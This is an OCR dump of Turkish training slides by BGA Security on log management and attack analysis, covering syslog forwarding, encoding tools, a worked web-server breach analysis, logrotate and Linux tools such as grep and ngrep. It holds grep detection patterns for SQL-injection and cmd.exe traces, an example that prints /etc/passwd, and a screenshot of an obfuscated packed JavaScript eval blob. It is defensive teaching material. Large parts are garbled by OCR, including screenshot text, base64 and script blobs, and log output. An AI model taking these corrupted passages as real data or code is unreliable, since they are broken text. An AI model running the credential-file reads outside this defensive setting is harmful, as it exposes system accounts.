v Enable Syslog logaing

[ appyy ]wymmumm || caxa |

Swslog server: |1'5IE.1E-E.1.1
Farility: |1E-: Local use 0 ‘-'I

Options :Server Settegs ST [3: Errer |

‘; b Uzer Opbons \; Server Key \9 Setver Settings ﬁz Syztom Tasks a Tools o About
!Calemw. Remcte Sysiog -:] [ Open |
| (RemoteSysiog |
‘Enable Remote Sysiog (] Rezet Defaut
I \
|Remote Syslog Server Host Name [ ] Resst  Detaul
‘Remcte Syslog Facity SYSLOG .VJ Resetl Qefoul
\ -
Remaote Sysiog Threshoid INFO (W) Resst  Detaut
' =2

Updsate

F
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Windows Icin Syslog

Log Yonetimi ve Saldiri Analizi

BGA | SOME

 Windows isletim sistemi Syslog destegi yoktur.

e Uclncu parti yazilimlar kullanilarak Windows sistem loglari merkezi bir sunucuya

vonlendirilebilir.

* http://czanik.blogs.balabit.com/2011/09/syslog-clients-for-windows/

windows syslog clients “

Web Images More ~ Search tools

A b 2040 NON reciibe I 94 coramdcet
\bout 3.040.000 resuits (0.24 seconds)

Ad related to windows syslog clients (O 3

Syslog Server - ManageEngine.com
manageengine.com/EventLogAnalyzer

Syslog collection made easy with built-in Syslog Server

Syslog clients for Windows « Czanik@BalaBit ﬂ\\
czanik. blogs balabit. com/2011/09fsyslog -clients-for-windows/ B G A
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Linux Loglarini Uzak Sisteme Gonderme BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Belirli 6zelliklere uyan loglarin uzak sisteme yonlendirilmesi:

*.info;mail.none;authpriv.none;cron.none @remote_syslog ip

* Syslog tarafindan uretilen tim loglarin uzaktaki sunucuya yonlendirilmesi (uzak
sunucu hostname logcentral olarak belirlenmistir).

*F @logcentral
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Log Testli BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Syslog testlerinde logmalanin calistigint dogrulamak icin logger komutu
kullanilabilir.

* #logger “BGA Log Yonetimi Egitimi”

* |logger [-p facility.priority] [-t tag] message

* Logger bir script icerisinde cagrilarak log cihazinin performansini 6lcmek icin de
kullanilabilir.

* Log cihazlarinin performansi eps(Event Per Second) olarak degerlendirilir.
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Kiwi Syslog Generator (Ucretsiz Yazilim) BGA | SOME

Log Yonetimi ve Saldiri Analizi

Logger yerine Windows ortamlari icin cesitli grafik arabirimli SYSLOG log Uretici yazilimlar bulunmaktadir.

Kiwi Syslog Message Generator
fle beb
Taost IF addion: Sownce IP addies:
127001 v IP addtess of thes machne

Faclty Leved Pronty
Local? Infoemnation W 190 | Use the yolue

| tarapont U estinabon pott Source portt

SydlogUDP W 514 Random poet > 1023

Metiage ot 10 sond
Thes 1z Syelog tes! message numbes BRER

E¥lra aphons Send ophiont

|| Randomly comupt the data hewng sen! Send once a second
[ "] Send mezsage with no poonty code.

| 1Send oversge packets > 1024 Bytes)
[T1Add o CR & LF o end of message
e Syslog RFC header

l Reset counters I | 2end lOJ

Status - Message Sert DK 0 messages sent D MPS

Inlerqatiage deday (ma)
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Log Analizi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Loglama tek basina bir deger ifade etmez.

* Nasil ki tarladan toplanan hasat islenmeden bir ise yaramazsa koleksiyon amaci ile
toplanan ve izlenip degerlendirilmeyen loglar da bir sey ifade etmez.

* Bircok kurumda loglar sadece kayit altina alinmaktadir fakat log analizi
vapiimamaktadir.

* Bilgi Guvenligi(BG) Yonetim Standardinda log(iz kaydi) yonetimi ve analizinin 6nemi
vurgulanmaktadir.

* Log analizi teknik bir isin otesinde ilgili konuya dair ciddi tecrube ve dusunme vyetisi
Ister.

 Hangi saldin tipi gerceklestirilmis sorusunun cevabini bulabilmek icin saldiri
kavramini ve detaylarini bilmek gerekir.
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Log Analizi Yazilimlari BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Farkli amaclar icin kullanilabilecek onlarca ticari ve acik kaynak kodlu Ucretsiz log
analizi yazilimi bulunmaktadir.

* Log analizi vyazilimlarinin cogu ayni zamanda log vyonetimi islevini de
gerceklestirmektedir.

* Ornek yazilimlar:

o File System Auditor, OSSIM, Kiwi Syslog Deamon, Swatch, Infraskope, Manage
Engine Event Log Analyzer, OSSIM

* Log analiz yazilimlari genellikle arka planda bir veritabani uygulamasi kullanarak
islem yapar.

* Yazilimlari dogru kullanabilmek icin neyi aradigini bilmek onemlidir.
o Saldiriyi nasil tanimlarsiniz (web tabanli, network tabanl)
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Log Analizi Metodolojisi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Log analizinde en 6nemli bilesen log/loglar icerisinde ne arandiginin
belirlenmesidir.
 Bunun icin daha 6nce denenmis, tecrube edilmis cesitli yontemler denenebilir.

KAYNAK: http://faculty.ist.psu.edu/jjansen/academic/jansen_search log analysis.pdf
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Log Analizi Metodoloji Adimlari

Log Yonetimi ve Saldiri Analizi

@BGASecurity

N
eLog dosyalarinin elde edilmesi
eLog dosyalarinin normallestirilmesi
/
° ° ° \
eLog analiz amacinin belirlenmesi
eLog analiz amacinin teknik dile cevrimi
/
N

eLog analiz yazilimi kullanarak istenen verileri ayiklama

eDogrulama adimi (istenen sonuc elde edildi mi?
_/

BGA | SOME
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Ornek Analiz : Adim - 1 BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Hedef : Hacklenmis bir web sunucunun log analizi

e l.adim: web sunucu loglarinin toplanmasi ve loglar icerisinde encode edilmis verilerin
normallestirilmesi.

* Log normallestirme yapilmadan analiz asamasina gecilirse giniumuz saldirilarinin buyutk cogu fark
edilemez.
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Log Yonetimi ve Saldiri Analizi

* Bir veriyi baska formatlarda gosterme islemidir

* Geriye cevrilebilir algoritmalardir.

* Encoding algoritmasi ek bir gizlilik saglamaz.

 Baseb4 encoding, url encoding, hex encoding en sik karsilasilan cesitlerdir.

base36 | base6? || base6d | base999 dec dec _ent| double nibble ur || double urn | enc _ur
enc_uri_comp | first_nibble_un | hex | hex_ent| htmlent || malformed_un | oct | overlong_utf8
punycode | realurlenc | reverse_hex | rotl3 || rotd7 | second_nibble_un | uni | uni_hwfw
uni_hwfw_chars || urlenc || us_ascii | | utfl6 || utf7 || utf8 | uuencode | xor || xor_range_encode

:;’:";:‘\\\.‘:“ S
> BGA
\(((/ SECURITY
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Binary-Ascii Cevrimi

Log Yonetimi ve Saldiri Analizi

@BGASecurity

Binary

ASCI

100000

Binary

ASCI

100001

—

110000

100010

110001

100011

110010

100100

110011

100101

p— F by |

110100

100110

110101

100111

110110

101000

110111

101001

111000

101010

111001

101011

= |lo|lT|o|l= |3

111010

101100

111011

101101

111100

Binary | ASCI Binary | ASCI
000000 A 010000 ]
000001 B 010001 R
000010 C 010010 5
000011 D 010011 T
000100 E 010100 U
000101 F 010101 V
000110 G 010110 W
000111 H 010111 X
001000 I 011000 i
001001 J 011001 £
001010 K 011010 3
001011 L 011011 b
001100 vl 011100 C
001101 N 011101 d
001110 O 011110 =
001111 = 011111 T

101110

111101

101111

= | | = |

111110

111111

AN

((k(

BGA | SOME
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Baseb64

Log Yonetimi ve Saldiri Analizi

BGA | SOME

“Base64 binary(ikili) verilerin ASCII karakterlerin kullanildigi ortamlarda iletilmesine ve
saklanmasina olanak taniyan bir kodlama semasidir.

/9j/4RTVRXhpZgAATUOAKgAAAAgABWESAAMAAAABAAEAAAEaAAUAAAABAAAAYEEbAAUAAAABAAAAagEOAAMAAAABAAIAA
AEXAAIAAAACAAAACEEYAAIAAAAUAAAAjodpAAQAAAABAAAAPAAAANAACVYAAAANEAAK/IAAACCQQWRVYMUgUGhvdG9zaG9
WIENTNSBXaW5kb3dzADIWMTE6MDU6MDkgMDA6MjY6MDEAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABIKADAAQA

AAABAAAAIQAAAAAAAAAGAQMAAWAAAAEABEAAAROABQAAAAEAAAEeARSABQAAAAEAAAEMASEAAWAAAAEAAZAAAEEABA
AAAAEAAAEUAgIA
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Base64 Binary Encoding BGA | SOME

Log Yonetimi ve Saldiri Analizi

> - J Translator

Use this tool to create data streams for embedding images (or any type of file) in (X)HTML, C55 and XML

—Encode file from URL
LRI: |http:ﬂwww.guvenlil-cegitimleri.cDmfimEQEEIWEbsecp.gif Submit Query | Clear

Results of loading hrp:/www.guvenlikegitimleri.com/images/websecp.gif

data:imagefgif;haseﬁ&,lﬁlGGDlthESRIdGREAUFYhJCIEEjQhHirEHHYjETFyHlHTDnIEgQSthLlkavzk;:
M
Fi5xVzuefiZaiFYoZmI+TkSVeFHxxmmMupiOzxeh+R38VTJuEdUShZ2ukdGUOVSYzo5Y¥JoetxLtwLER1IXp6e0wvr36a
UEIMiZfjwodoejZzCpoliaaTadpMvglREREeweBYFAuent+aulglFdGIJhSsTEVET z9PWUNEVogqMgdgrhzR79E8NE LW
40bIlgBpl=scSEKUglY1TOg 7TaXGlPPuej4E25Bt0udeliv]lyroz IXxSvropIGEXmcRZNeEJEFagqknGVZELiImp+9Wkdgs
1G5/ 7/ /a3uBdHRO+nWuEiQ5al00cEWcaBoJt 6MPoll
Fd8bpevioZeeuvtxhiogdFffbgZGdlb+vsafuxeasSQhtRE+MglOigiorH14fWhTh+v3i+atdGk1AL
FOEUM1O0LCaf+RdusENzRENOXxBEhrOPe3xl Twap THMEMQocSxmv S 2o nd ZWVms Vet I jJiTI1FVIVEZWNF+5SYRopEExEI
15cIMi FMdVSHg3IVQLGgUesnSz2 TOJOHpZJ LeCYHWNozEWNRWwSOwJ Y12 1C8z2pEOLd3b I8 eqwgkBaZ JJkNazd8HNuYXZ
FOVVMMpnX 8 PDGinVEDEOAQE 2 FOY S zVEeEol V2 ETUOQE Y/ ZeqzeeCTnzB+uWNOk0LnEXNE2 /S1ces2hp

S VIVEZCrEqZFZH+f0tjaidolaMeJeV11Y Y ImT Xy VnnuivYSMGFBEIP4tcOJiywrE54X1 +hpi80r+8wHhI1LZCO
EdgeYcWSYsahelUnAdun 7TE4TORLtTHyNra30zGm3dMHl eCnjgFvdEOjeyT7ioayvoviauDthiWBX P Z8gx0bEWR1IYLX
J1suHEZZfoBlbJWFibGE3SrWzr
SOoYSE4nFWr3LOyvE9jr89fHufuxSTWs8e0pbndxe LN ZhGmewH 35 fLayvPQp8lzI7=z1i7

S LAeDhagkdf V1Kt TR ImS5eV4eF+I+mIMrZ+5EKE0pdj Jee IRZEMDbGIXETO03B2GICiTywH Y SXN TgLARCH
SCOSFVFNDOQVBFMi4whwELARDh+QQFDwWwD,/ ACWRAARLRAI ARELAART

S WwCACBRISEDBgwgTElZIcEC+dJiYYXLWJURDgV4oXdzIsaPHivBDihxJsgT JkvhTgl zJsgh+EmLmnyQinRo0QJzE
aliPX=qfPkOESePONICIEnD+ TG Re1G1LREgzGED ) 2gVGTUgV S rat ZEEMcUd I LEWBENRDdy+il154cll17FevlUBERXSn
WheWICAVeECPCGVOACOIPpPl3rsGTeviEwEl/ v1o0OESeuFvbDoWesLHIiuIQ=

FyrhT4GCOINsrAimmz vLDnZglWnaseOBglndSevMiTZpj 2 85EvnaMLThh2dIA=aTt JXfB2T+I Tnm8dbVvhMh 58V
+PLVIlfgleVixik2VEsVHE/ +HMEeFEmMC+Yr64C ll
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HEX Encoding BGA | SOME

Log Yonetimi ve Saldiri Analizi

Compare Turn Realime ON  Hackvertst

Show DOM browser HYURL Log Clearlog Inspect Execute Alert Inspect HTML HIML Test Execute/HTML Test

Log window |Encnde j

base36 || basebt2 | base64 | base999 dec | dec_ent  double_nibble_uri || double_uri || enc_uri

haCkvertor enc_uri_comp || first_nibble_uri |Ee:~: | hex_ent || htmlent || malformed_urn | oct || overlong_utf8
' uni_hwfw

punycode | realurlenc | reverse_hex | rotl3 | rot47 | second_nibble_uri | uni

uni_hwfw_chars | urlenc |usMsci | utfl6 | utf7 || utf8 | uuencode || xor| xor_range_encode

L4]

Input |35 Output 72

=

vETE\xeS W

<Bhex 3>Guvenlikegitimleri<@/hex 3>

Javascript/HTML shortcuts

D ~-HTML tags- =] | -HTML Atirik = | |--Event5-- j | ~-L55 pmpmj | -Objects-- j | --Gperamrs--j | --Statementsj
~HTML ents- =] | -Return to wi =

Clear| | Cleartags || Swap || Selectinput| Select output Convert

General demo

Send output to url:  |http://demo.phpids.org?test=

Encoding demo

Decoding demo
Send | Sendto iframe| Sendto PCE

IF conversion

More soon...

Spread the word

Haclowertor graphic

Haclwertor background
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Hackvertor Hizmeti BGA | SOME

Log Yonetimi ve Saldiri Analizi

=8| x|

%) Hackvertor - Mozilla Firefox

Fil= Edit View History Bookmarks Tools Help

i; - c 3”{ TR I"-_'f|hth:u:,."f'.r-."n".-x'.I:uusinessinﬁ:u.cn:u.ukﬂal:ns,fhan:lwertu:urﬂﬁadwertor.php T I"'lv|G|:-|:-|;|IE >
@Must'u"lsited |:| Getting Started 7. Latest Headlines

J <% Hackvertor | - | F

Show DOM browser HVURL Log OCearlog Inspect Execute Alet  Inspect HTML HTML Test Execute/HTML Test Compare Turn Realme ON  Hackvertlet

i [

Log window FEmcode j
Please selectatag grou : : : :
64 | base999 | dec dec_ent | double_nibble_urn || double_uri || enc_uri

haCkvertor Decode bble_uri || hex || hex_ent | htmlent || malformed_uri || oct || overong_utf8

:‘;ﬂmpressmn reverse_hex || rotl3 | rotd7 | second_nibble_uri | uni| | uni_hwfw

Code Morphing C || us_ascii || utfl6 || utf7 | utf8 || uuencode | xor | xor_range_encode —
Filter Evasion
Math

Siring

Script
Fuzzing
Hashing
Common Inputs
XSS

SQaL

Date

Encrypt

Char Tables
Hackertags

Input O

Clear| | Cleartags | Swap|| Selectinput| | Select output Convert Javascript/HTML shortcuts

--HTMLtags-j --HTMLAttritj | ~Events— j | ~C55 prnpmﬂ | —~0Objects— j |--Clperat0rs--j |--Statementsj
~HTML ents-j —-Return to wij

Help - Hackvertor videos

General demeo

Encoding demo Send output to url: |http:ﬂdr.—:amc:_phpida.urg?teat=
Decoding demo

IP conversion

Send || Send to iframe | | Send to PCE

More so0on...

Spread the word

Hackwertor graphic

Hackwertor background

Businessinfo
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|-Packer

Log Yonetimi ve Saldiri Analizi

@BGASecurity

I-Packer {A Packer/Unpacker Javascript Tool using packer)

bedirhan urgun, o6/30/2008 {Yenileme: o7/01/2008)

Input:

twhilelc——1r[eici]=k[c] | |e(c]
e=1}:while({c——)ifik[c] ip=p.replace (nhew BegExpi'Vyh'+eic)+'vVh!',
pri'dik("Eh: lsds 1sms s ns L3 o3 psgsrs£3 09385023 1530505065 d32% 1505305357525 1530%50% 535535323 130505345 5% 2% 15305 0% 5% by,

eval (functioni(p,a,c,k,e,r){e=functionic){return c.to3tringia)r;iL(!'"'"!
rk=[functionie) {return r[e] ] :;e=function() {return'y\w+'};
1 1

gl kel

s rETUrn

.replace (/*/,3tring) )

FALCE,

LINPACK:

EVALTO OUTRFUT

FASS QUTRFUT TO INFUT

Cutput;

eval (une
25ox7ExS
£30%30%3
532%3

-3

-
L
L

scape ("%
0%30%

T S

*Edx 65363743 2ex P M3 VL3093 V436532083275 503 V55 305 505 0G0
D oCE 5330530553753 23503 V5550530536531 5075530530556 064% 503 7o3 505004

5% 75330%530%536%39 A

0% 35%5c% 75

S Sos V5553053053 7%335 505 7550305305375 53255057 5%30%530%36%33%50% V53305305335 045 5% PG 0550
CEV5%30%30%36%38% 505 V553053053 Y5045 505 755305305375 345505 7550053053753 0% 5% 7553050055309

FOEEE0%550%53 2560655057553 0% 305328500550 V55305 500%3 V%3 Y5505 755 00%3 0537537V 5es 5330553053753 755057
0530532565350 7553055305373 7550575553 0%30%365535% 5037533055053 60%32350% 7533053053653 750575530530
50 5353503 V5500530537536 5037553053 0%536%35% 505 75%530%30%36%65%50%75%330%530%353606%633 503 75%530%30%36%35

E EeEEE G030 563V e T e 305302365539 B e 30% 5305325653 50 0550353035363 606% 5752302530553 7553235075
A0 30363 E e N30 30% 325325 5550530332330 5753030537537 507553053053 65395 5075530530

-3
-3 -
o L

Lk
-3
L o

L

,a_lld-
=] O
+|.-n-
3

-p-'.'°'
w O
& kT
n wa La

e
LS I I o o [ R P
o O 0
A AE
oy D2 -]
n
e

o
o

E R34 e YR30 3033 Y5343 S Y EE S0 303638 5 P EE 3053 0% 3533635 5y Y EE 3053053355305 507553 0%30%37%30
CE LSS0 053 75538350V 5 0050055325305 5500533055305 3065 085 50 Y55 0530% 5365355 5075500505536 3539%5 5075
0563373578330 303 3065383 50 7535303303375 3355075250353 0%35333043 5037833035005 533353053 507553030

CE 5305305375385 5% 75530530553 2%30% 503 755305305375 35335505 75330%530%53 753493503 75%330%30% 3 Ll

6%39%

-]

C% 75T 30% 3055 0ES

-

EE 365635508755 30%530%36%35% 505 V55305305335 045 5057553053 0%532%32%50%75%530%30%37% FocE 75
FA0%530%37%359% 5% 755 00%30%36%39%50%75%00%500%36%532%50%75%30%530%50 6% 5358
FP5%3053053 755345503 VE3530%3530%3 75395503755 30%30%5

T 70%30%30

C3 7% 30%30%36%35
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Ornek Analiz : Adim - 2 BGA | SOME

Log Yonetimi ve Saldiri Analizi

e 2.adim: Saldirgan ip adresinin ve saldiri yonteminin belirlenmesi
* Suphelenilen saldiri tipleri icin komut satiri araclarinin hazirlanmasi

o Web Uuzerinden gelebilecek saldiri turleri konusunda bilgi sahibi olunmasi
gerekir.

o Saldirgan on farkli yontemle sunucuyu ele gecirmis olabilir.
* Disk Uzerinde ilgili tarihe ait degisiklikler izleniyor mu?

* Gereksiz log satirlarinin ayiklanmasi
o Javascript, gif, jpg, ...
 Teknik dile cevirim
o Grep —i select, union, exec, base64 encode *.log
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Ornek Analiz : Adim - 3 BGA | SOME

Log Yonetimi ve Saldiri Analizi

3. Adim: Verilerin ayiklanmasi ve dogrulama asamasi.

* Bir onceki adimda elde edilen ayiklanmis veriler gercekten saldirgan ip adresini ve
saldiri yontemi hakkinda net bilgiler iceriyor mu?

o llgili ip adresi ve ip adresinin eristigi URL/istek denenerek zafiyet olup olmadigi
kontrol edilebilir.

o llgili ip adresine ait baska sistemlerden kayit alinabilir.
o llgili ip adresi internetten arastirilabilir.
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Log Rotasyonu BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Loglarin tamamini tek bir dosya olarak saklamak yerine belirli diizene gore(boyut,
tarih, satir sayisi vs) saklamak daha uygun olacaktir.

o Eskilog dosyalarinin Gzerine yazilmamasi icin log.1, log.2 gibi uzantilar verilir.

* Linux /UNIX sistemlerde bu amacla logrotate yazilimi kullaniimaktadir

aam B ZB13-B3-83 0b:25 mysql. log

adm 20 ZB13-83-02 Bb:25 mysql.log.l.g9z
adm 20 Z013-83-01 ﬁ 23 mysql.log.Z2.gz
aam 2 > mysql.log.3.gz
adm 20 ZB13-B2-27 BB 25 mysql.log.4.09z
adm 20 2013-82-2b Bb: 2

adm 28 ZB13-B2-£5 BB 25 mysql.log.6.gz
adm 20 ZB13-B2-24 BB 25 mysql.log.7.gz
root 4090 Z012-8@9-10 18:4

2 NEwWS \
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ﬂ
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Ornek Log Rotasyonu

Log Yonetimi ve Saldiri Analizi

root@serverl:~# cat /etc/logrotate.conf
# see "man logrotate" for details

# rotate log files weekly

Weekly

# keep 4 weeks worth of backlogs
rotate 4

# create new (empty) log files after rotating old ones
create

# uncomment this if you want your log files compressed
Hcompress

# packages drop log rotation information into this directory
include /etc/logrotate.d

Apache Access Log icin Rotasyon Ornegi

@BGASecurity

root@serverl:~# cat /etc/logrotate.d/apache2
/var/log/apache2/*.log {

weekly

missingok

rotate 52

compress

delaycompress

notifempty

create 640 root adm

sharedscripts

postrotate

/etc/init.d/apache?2 reload > /dev/null

endscript

BGA | SOME
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Log Analizi Araclari BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Log analizi icin temelde iki secenek bulunmaktadir
1. Temel linux araclari
2. Ozel gelistirilmis yazihmlar
* Her iki yontemin de kendine has
o Avantaj ve dezavantajlari vardir.
o Buyuk verilerin incelenmesinde
o Veri tabani kullanimi sarttir.
* Benzeriislemler icin kolaylik saglar.
 Ne istediginizi biliyorsaniz basitlik her zaman kazandirir.
 Cok buyuk verileri incelemek icin nosqgl kullanilabilir.
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Linux Araclariyla Log Analizi BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Linuxisletim sistemi dosya temelli olmasi nedeniyle dosya isleme amacli onlarca
arac barindirmaktadir.

 Cut, awk, grep, ngrep, less, tail, head, cat, sed, sort, uniq, strings, multitail,
urlsnarf,

* Avantajlar:
*** Hiz, esnek ve performansli kullanim

* Dezavantajlari:
*** Veritabani mantigi olmadigi icin her islemde tekrar ayni sirec yasanir
** Cok bliytk log dosyalarinin islenmesinde zaman kaybi ve performans problemi

(Big data)
) BE A
\(\( SECURITY
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Log Analiz Komutlari - #cat BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Okunabilir (ascii tipte) dosyalari ekrana basmak icin kullanilr.
* Genellikle baska Unix komutlariyla birlestirilir.
» cat /etc/passwd|grep ali

huzeyfe@bt:~S cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh N

ﬂ
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Log Analiz Komutlari - #zcat

Log Yonetimi ve Saldiri Analizi

BGA | SOME

Sikistiriimis dosyalari acmadan ekrana basabilmek icin kullanilir.

huzeyfe@bt:/var/log
vdf"a\D~4HKmW
Uea=2eSX 39glal=<
é:=]| *g—e}0c\&}&Sw* H%/kn
I[ucs3=gL%RWYIrJU) _ k/q%{::#%

/p6lI>H<\

(| ;{s9scSSA{
XZLA#+CQD+u>ef+'+{+S *"'U:<=.7% XWqOKaU#2@Y/LiXCg(Y+IE-
+A7NIE| DHCD/ 3US#0E-f+VKgel-+\+\BQY[; | M+-_+"GtS

@BGASecurity

huzeyfe @bt:/var/log$

Feb 24 06:40:44 bt rsyslogd: [origin software="rsyslogd"
swVersion="4.2.0" x-pid="752" x-
iInfo="http://www.rsyslog.com"] rsyslogd was HUPed,
type ‘'lightweight'.

Feb 25 06:32:57 bt rsyslogd: [origin software="rsyslogd"
swVersion="4.2.0" x-pid="Feb 25 16:55:10 bt kernel:
[709732.042807] device ethO left promiscuous mode
Feb 26 06:27:37 bt rsyslogd: [origin software="rsyslogd"
swVersion="4.2.0" x-pid="752" x-
iInfo="http://www.rsyslog.com"] rsyslogd was HUPed,
type 'lightweight'.
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Log Analiz Komutlari - #head / tail BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Head: Verilen herhangi okunabilir dosya(ascii) nin belirlenen sayida satirini bastan
asagl ekrana basmak icin kullanilir.

> llk 100 satiri ekrana bas S head -100 dosya ismi

* Tail: Verilen herhangi okunabilir dosya(ascii) nin belirlenen sayida satirini asagidan
vukari ekrana basmak icin kullanilir.

» Son 100 satiri ekrana bas S tail -100 dosya ismi

tail -5000 ./transfer.log | awk '{print S1}' | sort | uniq -c | sort -rn | head -20
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Log Analiz Komutlari - #cut BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Belirli bir karekterle ayrilmis okunabilir dosya icerisinde bir sutunu almak icin kullantlir.
 Excel’de situn secme gibi dusunebilir.

root@bt:~# head /etc/passwd | cut f6 -d ":" /etc/passwd dosyasindaki ilk on satiri al
/root Ayirac olarak : kullan

;Eisr:/Sbin 6. sttlindaki veriyi ekrana bas.

/dev

/bin

/usr/games
/var/cache/man
/var/spool/lpd
/var/mail
/var/spool/news

ﬂ/

N
'o’o B

& uun L

‘ ‘(“‘

- y 4

y
\\\"””'

@BGASecurity



Log Analiz Komutlari - #awk BGA | SOME

Log Yonetimi ve Saldiri Analizi

* cut benzeri okunabilir dosyalarla islem yapmak icin kullanilan cok daha gelismis bir
aractir.

tail -500 transfer.log | awk '{print S7}
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Log Analiz Komutlari - #grep BGA | SOME

Log Yonetimi ve Saldiri Analizi

 QOkunabilir dosyalar icerisinde belirli bir kelimeyi aratmak icin kullanilan oldukca
esnek kullanima sahip bir Linux aracidir.

* Diger komutlarla birlikte kullanilabilir.
» cat /etc/passwd |grep huzeyfe

Secenekler

-v : Aranilan kalibin bulunmadigi satirlari goriintiiler.

-C : Aranilan kalibin toplam kag¢ satirda yer aldigini goriintiiler.

-1 : Kiiciik harf bilyiik harf ayrimi yapmaz.

-1 : Aranilan kalibin bulundugu dosya isimlerini goriintiiler.

-n : Bulunan satirlar dosya i¢cindeki satir numaralariyla birlikte goriintiilenir.

-b : Bulunan satirlarin blok numaralarini listeler.

-s : Dosya bulunamadigi zaman, hata mesaji almak istenmiyorsa bu segenek tercih edilebilir.
-e ifade : "_" ile baslayan ifadelere izin verir. "Egrep” ve "fgrep” komutlariyla kullanilabilir.
-f dosya : Bir dosyanin i¢erdigi ifadeleri bir baska dosya i¢inde aramak amaciyla kullanilir.

<
i) BEA
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Log Analiz Komutlari - #zgrep BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Grep komutunun sikistirilmis dosyalarla islem yapabilen versiyonudur.

* Grep komutu ikili dosyalari okuyamaz.

e Zgrep komutu kullanilarak uzantisi .gz olan dosyalari agmadan icerisinde belirli

kriterlere uyan stringler aranabilir.
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Log Dosyasinda String Arama BGA | SOME

Log Yonetimi ve Saldiri Analizi

 grep 192.168.1.2 access.log

* Birden fazla dosya icerisinde aramak istenirse
e grep 192.168.1.2 *.log

 Buyuk ktucuk harf fark etmeksizin arattirma

* Hgrep —i cmd.exe access.log

grep (Global Regular Expression Printer)
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Tam String Adi Icin Arama

BGA | SOME
Log Yonetimi ve Saldiri Analizi
* grep is access.log sonuc olarak icerisinde “is” geciren her kelimeyi her satiri
ekrana basacaktir

* grep —iw “is” tek basina “is” iceren satirlari ekrana basacaktir
:’—”ﬁ{‘.ﬂ“;‘.
e
(g

@BGASecurity



Birden Fazla Satirda Log Arama BGA | SOME

Log Yonetimi ve Saldiri Analizi

* grep A/B/C secenekleri

* Aranan kelimenin bulundugu satirdan 5 asagisi, 5 yukarisi gibi ifadeler icin kullanilir
 grep -A 3 -i "example" demo text (asagisi)

* grep -B <N> "string" FILENAME (yukarisi)

 grep -C2 "Example" demo text (asagisi yukarisi)
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Hari¢ Tutarak Arama

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* grep—Vv
e Mesela 127.0.0.1i loglardan haric¢ tutarak arattirmak isteyelim

* grep-v 127.0.0.1 access.log

# grep -v 127.0.0.1 access.log
212.174.15.5 - - [10/Mar/2014:08:04:41 +0200] "GET / HTTP/1.1" 200 9382

"http://www.google.com.tr/url?sa=t&rct=j&g=mail%20ibb&source=web&cd=1&sqi=2&ved=0CCoQFjAA&url=http%3A%2F%2Fwww.ortanadolu.com%
2F&ei= (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"

212.174.15.5 - - [10/Mar/2014:08:04:43 +0200] "GET /favicon.ico HTTP/1.1" 404 533 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML,
like Gecko) Chrome/25.0.1364.152 Safari/537.22"

212.174.15.5 - - [10/Mar/2014:08:04:58 +0200] "POST /exchweb/bin/auth/owaauth.dll HTTP/1.1" 404 550 "http://www.ortanadolu.com/"
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Safari/537.22"
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grep Satir Basi Kullanimi

Log Yonetimi ve Saldiri Analizi

BGA | SOME

* Satir BasiIcin A

S grep "ANov 10" messages.1

Nov 10 01:12:55 gs123 ntpd[2241]: time reset +0.177479 s

Nov 10 01:17:17 gs123 ntpd[2241]: synchronized to LOCAL(O), stratum 10
Nov 10 01:18:49 gs123 ntpd[2241]: synchronized to 15.1.13.13, stratum 3
Nov 10 13:21:26 gs123 ntpd[2241]: time reset +0.146664 s

Nov 10 13:25:46 gs123 ntpd[2241]: synchronized to LOCAL(O), stratum 10
Nov 10 13:26:27 gs123 ntpd[2241]: synchronized to 15.1.13.13, stratum 3
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grep Satir Sonu (S) BGA | SOME

Log Yonetimi ve Saldiri Analizi

e grep "terminating.S" messages
* Bos satirlari bulmak

e grep -c"AS" messages anaconda.log

S grep "terminating.S" messages
Jul 12 17:01:09 cloneme kernel: Kernel log daemon terminating.
Oct 28 06:29:54 cloneme kernel: Kernel log daemon terminating.
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grep Ornekleri

Log Yonetimi ve Saldiri Analizi

BGA | SOME

e grep-c” 404 “ log-file

# count of HTTP calls which had 404 status

* catlog-file | grep” 404 “ | wc -l

e grep-v-c” 404 “log-file

* catlog-file | grep-v” 201 “ | grep POST | grep image | wc -
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Network Grep : ngrep BGA | SOME

Log Yonetimi ve Saldiri Analizi

* Ngrep(Network Grep): grep benzeri bir yazilim fakat klasik dosyalarda degil de ag
trafiginde arama/bulma islemi yapar.

* Network DLP ve IDS(Intrusion Detection System) yazilimlarinin atasi sayilabilir.

* Ascii ve hex turunde arama vyapabilir.

 Canli ag trafiginde veya kaydedilmis ag trafigi icerisinde arama islemi
gerceklestirebilir

* Ornek: Tum ag trafigi icerisinde huzeyfe gecen paketleri ekrana bas

tingrep —q huzeyfe —d ethO
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ngrep Kurulumu BGA | SOME

Log Yonetimi ve Saldiri Analizi

ttapt-get install ngrep

-
ii» BGA
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ngrep ile Ne Yapilabilir? BGA | SOME

Log Yonetimi ve Saldiri Analizi

 Agicerisinde gecen ozel bir kelime arattirilabilir
* |DS’lere imza yazmak icin kullanilabilir
* Protokol anormallikleri yakalanabilir
o HTTP portu Uzerinden kullanilan SSH baglantilarini ngrep ile kesfedebilirsiniz

o Port/protokol tiinelleme programlarini ortamda hicbir IPS, Firewall vs ye ihtiyac
duymadan ngrep ile yakalanabilir.

